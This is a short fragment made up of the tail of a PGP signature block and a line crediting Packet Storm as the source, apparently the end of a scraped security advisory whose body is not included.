SIGNATURE-----iQIzBAEBCgAdFiEEtuYvPRKsOElcDakFEMKTtsN8TjYFAmSMTIkACgkQEMKTtsN8Tjb5xg//TWO+b3Rk5o+tXlxldtCwtmDujIRm5e6cRGncr9L/9nfpSXk3TLpl1/y5Bh1SCHy7kqEuiDJF9phXclMcpw7BCNb2cyr2RQtaWQw/E3mmmq4LM6vXEVZXqSAyjGxbYx63p/TrxWzgmWPJS+yFadmy2jAGPXPtLhgP8BRUZlaZwsJOP8lPiN4WByIoqapIxy3yqCRzUOc+89CQtpSUGn5Vt2QFjOqZ/lIy4Bvf3/b2PQeCjTmlbWQIEOuIepEj4pnxi+Y+S/oKfXGps9DOyc55xCxHWTzl3co9GAQtBmoxtUfLZXEprPS8PGBMpJIewjB05FP2dduL3fv12FLhnF+GoE9dliQC+pUW3/GuibDVLe1pXXoMP6lyCKUMerjBdPkEZBWxoAO4gbMuvComapvORbNiCJXcJwof6c9U2iciwbrxJO4uVHYrBq0E6yYVfffxuvS65zLY3B7MBnxtVVFKAJpXxY0aF9usgJeqrggsUsQYaflFog+8s3H9jMM+rYoP31zaPxB8enS2fiQGuP4OFJb4yJoy8Xi1vy7D63c/T1h7lNptk9vfyZ6oDosBVBnYYvJVJRghUTzg/v1AJm1AgpbZebASLXTmgPKt+Ce7MuO4TJjs+O8N5fimQ1KGf1K+AFDYPpTsagJNamE+dXD+ITGSnBimUy7FB3DZJ579cRQ=SwZ/-----END PGP SIGNATURE-----

Source

Packet Storm